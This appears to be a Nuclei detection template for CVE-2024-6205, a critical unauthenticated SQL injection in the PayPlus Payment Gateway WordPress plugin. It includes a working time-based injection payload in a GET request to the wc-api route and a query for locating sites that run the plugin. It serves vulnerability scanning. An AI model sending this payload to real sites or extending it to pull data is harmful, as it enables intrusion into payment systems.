The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.
PoC代码[已公开]
id: CVE-2024-6205
info:
name: PayPlus Payment Gateway < 6.6.9 - SQL Injection
author: s4e-io
severity: critical
description: |
The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.
remediation: Fixed in 6.6.9
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payplus-payment-gateway/payplus-payment-gateway-668-unauthenticated-sql-injection
- https://wpscan.com/vulnerability/7e2c5032-2917-418c-aee3-092bdb78a087
- https://nvd.nist.gov/vuln/detail/CVE-2024-6205
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-6205
cwe-id: CWE-89
epss-score: 0.88588
epss-percentile: 0.99482
metadata:
max-request: 1
vendor: payplus-ltd
product: payplus-payment-gateway
framework: wordpress
publicwww-query: "/wp-content/plugins/payplus-payment-gateway"
tags: time-based-sqli,wpscan,cve,cve2024,sqli,wordpress,wp-plugin,wp,payplus-payment,vkev
http:
- raw:
- |
@timeout 20s
GET /?wc-api=payplus_gateway&status_code=true&more_info=(select*from(select(sleep(6)))a) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration>=6"
- "status_code == 302"
- "regex('^-1$', body)"
- 'contains(content_type,"text/html")'
condition: and
# digest: 4b0a00483046022100861acf3f21f2c448c572dc04698602b37cc340c38dc844f6408ec15ab0cbe228022100bb8268bcb083105be156507e2b7ac0a5b1a9042d3e0e463653b9aec12c5b4e97:922c64590222798bb761d5b6d8e72950